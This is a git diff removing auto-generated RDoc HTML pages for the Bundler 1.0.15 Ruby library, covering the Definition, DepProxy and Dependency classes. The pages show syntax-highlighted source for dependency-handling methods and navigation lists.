-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="expand-dependencies-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/definition.rb, line 414</span>
-414:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">expand_dependencies</span>(<span class="ruby-identifier">dependencies</span>, <span class="ruby-identifier">remote</span> = <span class="ruby-keyword kw">false</span>)
-415:       <span class="ruby-identifier">deps</span> = []
-416:       <span class="ruby-identifier">dependencies</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">dep</span><span class="ruby-operator">|</span>
-417:         <span class="ruby-identifier">dep</span> = <span class="ruby-constant">Dependency</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">dep</span>, <span class="ruby-value str">&quot;&gt;= 0&quot;</span>) <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">respond_to?</span>(<span class="ruby-value">:name</span>)
-418:         <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">gem_platforms</span>(<span class="ruby-ivar">@platforms</span>).<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">p</span><span class="ruby-operator">|</span>
-419:           <span class="ruby-identifier">deps</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-constant">DepProxy</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">dep</span>, <span class="ruby-identifier">p</span>) <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">remote</span> <span class="ruby-operator">||</span> <span class="ruby-identifier">p</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">generic</span>(<span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Platform</span>.<span class="ruby-identifier">local</span>)
-420:         <span class="ruby-keyword kw">end</span>
-421:       <span class="ruby-keyword kw">end</span>
-422:       <span class="ruby-identifier">deps</span>
-423:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="expanded-dependencies-method" class="method-detail ">
-				<a name="method-i-expanded_dependencies"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">expanded_dependencies</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="expanded-dependencies-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/definition.rb, line 410</span>
-410:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">expanded_dependencies</span>
-411:       <span class="ruby-ivar">@expanded_dependencies</span> <span class="ruby-operator">||=</span> <span class="ruby-identifier">expand_dependencies</span>(<span class="ruby-identifier">dependencies</span>, <span class="ruby-ivar">@remote</span>)
-412:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="in-locked-deps--method" class="method-detail ">
-				<a name="method-i-in_locked_deps%3F"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">in_locked_deps?</span><span
-						class="method-args">(dep, d)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="in-locked-deps--source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/definition.rb, line 402</span>
-402:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">in_locked_deps?</span>(<span class="ruby-identifier">dep</span>, <span class="ruby-identifier">d</span>)
-403:       <span class="ruby-identifier">d</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">source</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">d</span>.<span class="ruby-identifier">source</span>
-404:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
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-
-				
-			</div>
-
-		
-			<div id="pretty-dep-method" class="method-detail ">
-				<a name="method-i-pretty_dep"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">pretty_dep</span><span
-						class="method-args">(dep, source = false)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
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-					<div class="method-source-code"
-						id="pretty-dep-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/definition.rb, line 303</span>
-303:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">pretty_dep</span>(<span class="ruby-identifier">dep</span>, <span class="ruby-identifier">source</span> = <span class="ruby-keyword kw">false</span>)
-304:       <span class="ruby-identifier">msg</span>  = <span class="ruby-node">&quot;#{dep.name}&quot;</span>
-305:       <span class="ruby-identifier">msg</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot; (#{dep.requirement})&quot;</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">requirement</span> <span class="ruby-operator">==</span> <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Requirement</span>.<span class="ruby-identifier">default</span>
-306:       <span class="ruby-identifier">msg</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot; from the `#{dep.source}` source&quot;</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">source</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">source</span>
-307:       <span class="ruby-identifier">msg</span>
-308:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
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-
-				
-			</div>
-
-		
-			<div id="requested-dependencies-method" class="method-detail ">
-				<a name="method-i-requested_dependencies"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">requested_dependencies</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="requested-dependencies-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/definition.rb, line 432</span>
-432:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">requested_dependencies</span>
-433:       <span class="ruby-identifier">groups</span> = <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">groups</span> <span class="ruby-operator">-</span> <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">settings</span>.<span class="ruby-identifier">without</span>
-434:       <span class="ruby-identifier">groups</span>.<span class="ruby-identifier">map!</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">g</span><span class="ruby-operator">|</span> <span class="ruby-identifier">g</span>.<span class="ruby-identifier">to_sym</span> }
-435:       <span class="ruby-identifier">dependencies</span>.<span class="ruby-identifier">reject</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">d</span><span class="ruby-operator">|</span> <span class="ruby-operator">!</span><span class="ruby-identifier">d</span>.<span class="ruby-identifier">should_include?</span> <span class="ruby-operator">||</span> (<span class="ruby-identifier">d</span>.<span class="ruby-identifier">groups</span> &amp; <span class="ruby-identifier">groups</span>).<span class="ruby-identifier">empty?</span> }
-436:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="satisfies-locked-spec--method" class="method-detail ">
-				<a name="method-i-satisfies_locked_spec%3F"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">satisfies_locked_spec?</span><span
-						class="method-args">(dep)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="satisfies-locked-spec--source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/definition.rb, line 406</span>
-406:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">satisfies_locked_spec?</span>(<span class="ruby-identifier">dep</span>)
-407:       <span class="ruby-ivar">@locked_specs</span>.<span class="ruby-identifier">any?</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">satisfies?</span>(<span class="ruby-identifier">dep</span>) <span class="ruby-operator">&amp;&amp;</span> (<span class="ruby-operator">!</span><span class="ruby-identifier">dep</span>.<span class="ruby-identifier">source</span> <span class="ruby-operator">||</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">source</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">source</span>) }
-408:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="sorted-sources-method" class="method-detail ">
-				<a name="method-i-sorted_sources"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">sorted_sources</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="sorted-sources-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/definition.rb, line 425</span>
-425:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">sorted_sources</span>
-426:       <span class="ruby-ivar">@sources</span>.<span class="ruby-identifier">sort_by</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span>
-427:         <span class="ruby-comment cmt"># Place GEM at the top</span>
-428:         [ <span class="ruby-identifier">s</span>.<span class="ruby-identifier">is_a?</span>(<span class="ruby-constant">Source</span><span class="ruby-operator">::</span><span class="ruby-constant">Rubygems</span>) <span class="ruby-operator">?</span> <span class="ruby-value">1</span> <span class="ruby-operator">:</span> <span class="ruby-value">0</span>, <span class="ruby-identifier">s</span>.<span class="ruby-identifier">to_s</span> ]
-429:       <span class="ruby-keyword kw">end</span>
-430:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
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-		</div>
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-	</div>
-
-
-	<div id="rdoc-debugging-section-dump" class="debugging-section">
-	
-		<p>Disabled; run with --debug to generate this.</p>
-	
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
-
-</body>
-</html>
-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/DepProxy.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/DepProxy.html
deleted file mode 100644
index 22b3adee..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/DepProxy.html
+++ /dev/null
@@ -1,657 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>Class: Bundler::DepProxy</title>
-
-	<link rel="stylesheet" href="../rdoc.css" type="text/css" media="screen" />
-
-	<script src="../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/darkfish.js" type="text/javascript"
-		charset="utf-8"></script>
-
-</head>
-<body class="class">
-
-	<div id="metadata">
-		<div id="home-metadata">
-			<div id="home-section" class="section">
-        <h3 class="section-header">
-          <a href="../index.html">Home</a>
-          <a href="../index.html#classes">Classes</a>
-          <a href="../index.html#methods">Methods</a>
-        </h3>
-			</div>
-		</div>
-
-		<div id="file-metadata">
-			<div id="file-list-section" class="section">
-				<h3 class="section-header">In Files</h3>
-				<div class="section-body">
-					<ul>
-					
-						<li><a href="../lib/bundler/rubygems_ext_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/rubygems_ext.rb">lib/bundler/rubygems_ext.rb</a></li>
-					
-					</ul>
-				</div>
-			</div>
-
-			
-		</div>
-
-		<div id="class-metadata">
-
-			<!-- Parent Class -->
-			
-			<div id="parent-class-section" class="section">
-				<h3 class="section-header">Parent</h3>
-				
-				<p class="link">Object</p>
-				
-			</div>
-			
-
-			<!-- Namespace Contents -->
-			
-
-			<!-- Method Quickref -->
-			
-			<div id="method-list-section" class="section">
-				<h3 class="section-header">Methods</h3>
-				<ul class="link-list">
-					
-					<li><a href="#method-c-new">::new</a></li>
-					
-					<li><a href="#method-i-%3D%3D">#==</a></li>
-					
-					<li><a href="#method-i-eql%3F">#eql?</a></li>
-					
-					<li><a href="#method-i-hash">#hash</a></li>
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-					<li><a href="#method-i-method_missing">#method_missing</a></li>
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-					<li><a href="#method-i-to_s">#to_s</a></li>
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-					<li><a href="#method-i-type">#type</a></li>
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-				</ul>
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-			<!-- Included Modules -->
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-		</div>
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-		<div id="project-metadata">
-			
-			
-			<div id="fileindex-section" class="section project-section">
-				<h3 class="section-header">Files</h3>
-				<ul>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle.html">bundle</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-benchmark.html">bundle-benchmark</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-benchmark_txt.html">bundle-benchmark.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-config.html">bundle-config</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-config_txt.html">bundle-config.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-exec.html">bundle-exec</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-exec_txt.html">bundle-exec.txt</a></li>
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-					<li class="file"><a href="../lib/bundler/man/bundle-install.html">bundle-install</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-install_txt.html">bundle-install.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-package.html">bundle-package</a></li>
-				
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-				
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-			</div>
-			
-
-			<div id="classindex-section" class="section project-section">
-				<h3 class="section-header">Class Index
-					<span class="search-toggle"><img src="../images/find.png"
-						height="16" width="16" alt="[+]"
-						title="show/hide quicksearch" /></span></h3>
-				<form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
-				<fieldset>
-					<legend>Quicksearch</legend>
-					<input type="text" name="quicksearch" value=""
-						class="quicksearch-field" />
-				</fieldset>
-				</form>
-
-				<ul class="link-list">
-				
-					<li><a href="../Bundler.html">Bundler</a></li>
-				
-					<li><a href="../Bundler/BundlerError.html">Bundler::BundlerError</a></li>
-				
-					<li><a href="../Bundler/CLI.html">Bundler::CLI</a></li>
-				
-					<li><a href="../Bundler/Definition.html">Bundler::Definition</a></li>
-				
-					<li><a href="../Bundler/DepProxy.html">Bundler::DepProxy</a></li>
-				
-					<li><a href="../Bundler/Dependency.html">Bundler::Dependency</a></li>
-				
-					<li><a href="../Bundler/Deployment.html">Bundler::Deployment</a></li>
-				
-					<li><a href="../Bundler/DeprecatedError.html">Bundler::DeprecatedError</a></li>
-				
-					<li><a href="../Bundler/Dsl.html">Bundler::Dsl</a></li>
-				
-					<li><a href="../Bundler/DslError.html">Bundler::DslError</a></li>
-				
-					<li><a href="../Bundler/Environment.html">Bundler::Environment</a></li>
-				
-					<li><a href="../Bundler/GemHelper.html">Bundler::GemHelper</a></li>
-				
-					<li><a href="../Bundler/GemHelpers.html">Bundler::GemHelpers</a></li>
-				
-					<li><a href="../Bundler/GemNotFound.html">Bundler::GemNotFound</a></li>
-				
-					<li><a href="../Bundler/GemfileError.html">Bundler::GemfileError</a></li>
-				
-					<li><a href="../Bundler/GemfileNotFound.html">Bundler::GemfileNotFound</a></li>
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-					<li><a href="../Bundler/GemspecError.html">Bundler::GemspecError</a></li>
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-					<li><a href="../Bundler/GitError.html">Bundler::GitError</a></li>
-				
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-				
-					<li><a href="../Bundler/GraphNode.html">Bundler::GraphNode</a></li>
-				
-					<li><a href="../Bundler/Index.html">Bundler::Index</a></li>
-				
-					<li><a href="../Bundler/Installer.html">Bundler::Installer</a></li>
-				
-					<li><a href="../Bundler/InvalidOption.html">Bundler::InvalidOption</a></li>
-				
-					<li><a href="../Bundler/InvalidSpecSet.html">Bundler::InvalidSpecSet</a></li>
-				
-					<li><a href="../Bundler/LazySpecification.html">Bundler::LazySpecification</a></li>
-				
-					<li><a href="../Bundler/LockfileParser.html">Bundler::LockfileParser</a></li>
-				
-					<li><a href="../Bundler/MatchPlatform.html">Bundler::MatchPlatform</a></li>
-				
-					<li><a href="../Bundler/PathError.html">Bundler::PathError</a></li>
-				
-					<li><a href="../Bundler/ProductionError.html">Bundler::ProductionError</a></li>
-				
-					<li><a href="../Bundler/RemoteSpecification.html">Bundler::RemoteSpecification</a></li>
-				
-					<li><a href="../Bundler/Resolver.html">Bundler::Resolver</a></li>
-				
-					<li><a href="../Bundler/Resolver/SpecGroup.html">Bundler::Resolver::SpecGroup</a></li>
-				
-					<li><a href="../Bundler/RubygemsIntegration.html">Bundler::RubygemsIntegration</a></li>
-				
-					<li><a href="../Bundler/RubygemsIntegration/AlmostModern.html">Bundler::RubygemsIntegration::AlmostModern</a></li>
-				
-					<li><a href="../Bundler/RubygemsIntegration/Deprecate.html">Bundler::RubygemsIntegration::Deprecate</a></li>
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-					<li><a href="../Bundler/RubygemsIntegration/Gem.html">Bundler::RubygemsIntegration::Gem</a></li>
-				
-					<li><a href="../Bundler/RubygemsIntegration/Gem/SourceIndex.html">Bundler::RubygemsIntegration::Gem::SourceIndex</a></li>
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-					<li><a href="../Bundler/RubygemsIntegration/Legacy.html">Bundler::RubygemsIntegration::Legacy</a></li>
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-					<li><a href="../Bundler/RubygemsIntegration/Modern.html">Bundler::RubygemsIntegration::Modern</a></li>
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-					<li><a href="../Bundler/RubygemsIntegration/Transitional.html">Bundler::RubygemsIntegration::Transitional</a></li>
-				
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-167:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">initialize</span>(<span class="ruby-identifier">dep</span>, <span class="ruby-identifier">platform</span>)
-168:       <span class="ruby-ivar">@dep</span>, <span class="ruby-ivar">@__platform</span>, <span class="ruby-ivar">@required_by</span> = <span class="ruby-identifier">dep</span>, <span class="ruby-identifier">platform</span>, []
-169:     <span class="ruby-keyword kw">end</span></pre>
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-175:     <span class="ruby-keyword kw">def</span> <span class="ruby-operator">==</span>(<span class="ruby-identifier">o</span>)
-176:       <span class="ruby-identifier">dep</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">o</span>.<span class="ruby-identifier">dep</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">__platform</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">o</span>.<span class="ruby-identifier">__platform</span>
-177:     <span class="ruby-keyword kw">end</span></pre>
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-     <span class="ruby-comment cmt"># File lib/bundler/rubygems_ext.rb, line 171</span>
-171:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">hash</span>
-172:       <span class="ruby-ivar">@hash</span> <span class="ruby-operator">||=</span> <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">hash</span>
-173:     <span class="ruby-keyword kw">end</span></pre>
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-185:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">to_s</span>
-186:       <span class="ruby-ivar">@dep</span>.<span class="ruby-identifier">to_s</span>
-187:     <span class="ruby-keyword kw">end</span></pre>
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-181:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">type</span>
-182:       <span class="ruby-ivar">@dep</span>.<span class="ruby-identifier">type</span>
-183:     <span class="ruby-keyword kw">end</span></pre>
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-     <span class="ruby-comment cmt"># File lib/bundler/rubygems_ext.rb, line 191</span>
-191:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">method_missing</span>(*<span class="ruby-identifier">args</span>)
-192:       <span class="ruby-ivar">@dep</span>.<span class="ruby-identifier">send</span>(*<span class="ruby-identifier">args</span>)
-193:     <span class="ruby-keyword kw">end</span></pre>
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-			Rdoc Generator</a> 1.1.6</small>.</p>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/Dependency.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/Dependency.html
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-					<li><a href="../Bundler/GemHelper.html">Bundler::GemHelper</a></li>
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-					<li><a href="../Bundler/GemHelpers.html">Bundler::GemHelpers</a></li>
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-					<li><a href="../Bundler/GemNotFound.html">Bundler::GemNotFound</a></li>
-				
-					<li><a href="../Bundler/GemfileError.html">Bundler::GemfileError</a></li>
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-					<li><a href="../Bundler/GemfileNotFound.html">Bundler::GemfileNotFound</a></li>
-				
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-				
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-					<li><a href="../Bundler/Graph.html">Bundler::Graph</a></li>
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-				
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-				
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-					<li><a href="../Bundler/LockfileParser.html">Bundler::LockfileParser</a></li>
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-		<h1 class="class">Bundler::Dependency</h1>
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-    <span class="ruby-comment cmt"># File lib/bundler/dependency.rb, line 26</span>
-26:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">initialize</span>(<span class="ruby-identifier">name</span>, <span class="ruby-identifier">version</span>, <span class="ruby-identifier">options</span> = {}, &amp;<span class="ruby-identifier">blk</span>)
-27:       <span class="ruby-keyword kw">super</span>(<span class="ruby-identifier">name</span>, <span class="ruby-identifier">version</span>)
-28: 
-29:       <span class="ruby-ivar">@autorequire</span> = <span class="ruby-keyword kw">nil</span>
-30:       <span class="ruby-ivar">@groups</span>      = <span class="ruby-constant">Array</span>(<span class="ruby-identifier">options</span>[<span class="ruby-value str">&quot;group&quot;</span>] <span class="ruby-operator">||</span> <span class="ruby-value">:default</span>).<span class="ruby-identifier">map</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">g</span><span class="ruby-operator">|</span> <span class="ruby-identifier">g</span>.<span class="ruby-identifier">to_sym</span> }
-31:       <span class="ruby-ivar">@source</span>      = <span class="ruby-identifier">options</span>[<span class="ruby-value str">&quot;source&quot;</span>]
-32:       <span class="ruby-ivar">@platforms</span>   = <span class="ruby-constant">Array</span>(<span class="ruby-identifier">options</span>[<span class="ruby-value str">&quot;platforms&quot;</span>])
-33:       <span class="ruby-ivar">@env</span>         = <span class="ruby-identifier">options</span>[<span class="ruby-value str">&quot;env&quot;</span>]
-34: 
-35:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">options</span>.<span class="ruby-identifier">key?</span>(<span class="ruby-value str">'require'</span>)
-36:         <span class="ruby-ivar">@autorequire</span> = <span class="ruby-constant">Array</span>(<span class="ruby-identifier">options</span>[<span class="ruby-value str">'require'</span>] <span class="ruby-operator">||</span> [])
-37:       <span class="ruby-keyword kw">end</span>
-38:     <span class="ruby-keyword kw">end</span></pre>
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-			<h3 class="section-header">Public Instance Methods</h3>
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-			<div id="current-env--method" class="method-detail ">
-				<a name="method-i-current_env%3F"></a>
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-					<span class="method-name">current_env?</span><span
-						class="method-args">()</span>
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-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/dependency.rb, line 56</span>
-56:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">current_env?</span>
-57:       <span class="ruby-keyword kw">return</span> <span class="ruby-keyword kw">true</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-ivar">@env</span>
-58:       <span class="ruby-keyword kw">if</span> <span class="ruby-constant">Hash</span> <span class="ruby-operator">===</span> <span class="ruby-ivar">@env</span>
-59:         <span class="ruby-ivar">@env</span>.<span class="ruby-identifier">all?</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">key</span>, <span class="ruby-identifier">val</span><span class="ruby-operator">|</span>
-60:           <span class="ruby-constant">ENV</span>[<span class="ruby-identifier">key</span>.<span class="ruby-identifier">to_s</span>] <span class="ruby-operator">&amp;&amp;</span> (<span class="ruby-constant">String</span> <span class="ruby-operator">===</span> <span class="ruby-identifier">val</span> <span class="ruby-operator">?</span> <span class="ruby-constant">ENV</span>[<span class="ruby-identifier">key</span>.<span class="ruby-identifier">to_s</span>] <span class="ruby-operator">==</span> <span class="ruby-identifier">val</span> <span class="ruby-operator">:</span> <span class="ruby-constant">ENV</span>[<span class="ruby-identifier">key</span>.<span class="ruby-identifier">to_s</span>] <span class="ruby-operator">=~</span> <span class="ruby-identifier">val</span>)
-61:         <span class="ruby-keyword kw">end</span>
-62:       <span class="ruby-keyword kw">else</span>
-63:         <span class="ruby-constant">ENV</span>[<span class="ruby-ivar">@env</span>.<span class="ruby-identifier">to_s</span>]
-64:       <span class="ruby-keyword kw">end</span>
-65:     <span class="ruby-keyword kw">end</span></pre>
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-				<a name="method-i-current_platform%3F"></a>
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-					<span class="method-name">current_platform?</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
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-				</div>
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-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/dependency.rb, line 67</span>
-67:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">current_platform?</span>
-68:       <span class="ruby-keyword kw">return</span> <span class="ruby-keyword kw">true</span> <span class="ruby-keyword kw">if</span> <span class="ruby-ivar">@platforms</span>.<span class="ruby-identifier">empty?</span>
-69:       <span class="ruby-ivar">@platforms</span>.<span class="ruby-identifier">any?</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">p</span><span class="ruby-operator">|</span> <span class="ruby-identifier">send</span>(<span class="ruby-node">&quot;#{p}?&quot;</span>) }
-70:     <span class="ruby-keyword kw">end</span></pre>
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-				</div>
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-			</div>
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-			<div id="gem-platforms-method" class="method-detail ">
-				<a name="method-i-gem_platforms"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">gem_platforms</span><span
-						class="method-args">(valid_platforms)</span>
-					<span class="method-click-advice">click to toggle source</span>
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-				</div>
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-					<div class="method-source-code"
-						id="gem-platforms-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/dependency.rb, line 40</span>
-40:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">gem_platforms</span>(<span class="ruby-identifier">valid_platforms</span>)
-41:       <span class="ruby-keyword kw">return</span> <span class="ruby-identifier">valid_platforms</span> <span class="ruby-keyword kw">if</span> <span class="ruby-ivar">@platforms</span>.<span class="ruby-identifier">empty?</span>
-42: 
-43:       <span class="ruby-identifier">platforms</span> = []
-44:       <span class="ruby-ivar">@platforms</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">p</span><span class="ruby-operator">|</span>
-45:         <span class="ruby-identifier">platform</span> = <span class="ruby-constant">PLATFORM_MAP</span>[<span class="ruby-identifier">p</span>]
-46:         <span class="ruby-keyword kw">next</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">valid_platforms</span>.<span class="ruby-identifier">include?</span>(<span class="ruby-identifier">platform</span>)
-47:         <span class="ruby-identifier">platforms</span> <span class="ruby-operator">|=</span> [<span class="ruby-identifier">platform</span>]
-48:       <span class="ruby-keyword kw">end</span>
-49:       <span class="ruby-identifier">platforms</span>
-50:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-			<div id="should-include--method" class="method-detail ">
-				<a name="method-i-should_include%3F"></a>
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-				<div class="method-heading">
-				
-					<span class="method-name">should_include?</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
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-				</div>
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-						id="should-include--source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/dependency.rb, line 52</span>
-52:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">should_include?</span>
-53:       <span class="ruby-identifier">current_env?</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">current_platform?</span>
-54:     <span class="ruby-keyword kw">end</span></pre>
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-
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-			<div id="to-lock-method" class="method-detail ">
-				<a name="method-i-to_lock"></a>
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-				<div class="method-heading">
-				
-					<span class="method-name">to_lock</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
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-				</div>
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-				<div class="method-description">
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-						id="to-lock-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/dependency.rb, line 72</span>
-72:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">to_lock</span>
-73:       <span class="ruby-identifier">out</span> = <span class="ruby-node">&quot;  #{name}&quot;</span>
-74: 
-75:       <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">requirement</span> <span class="ruby-operator">==</span> <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Requirement</span>.<span class="ruby-identifier">default</span>
-76:         <span class="ruby-identifier">reqs</span> = <span class="ruby-identifier">requirement</span>.<span class="ruby-identifier">requirements</span>.<span class="ruby-identifier">map</span>{<span class="ruby-operator">|</span><span class="ruby-identifier">o</span>,<span class="ruby-identifier">v</span><span class="ruby-operator">|</span> <span class="ruby-node">&quot;#{o} #{v}&quot;</span> }
-77:         <span class="ruby-identifier">out</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot; (#{reqs.join(', ')})&quot;</span>
-78:       <span class="ruby-keyword kw">end</span>
-79: 
-80:       <span class="ruby-identifier">out</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-value str">'!'</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">source</span>
-81: 
-82:       <span class="ruby-identifier">out</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-value str">&quot;\n&quot;</span>
-83:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-				</div>
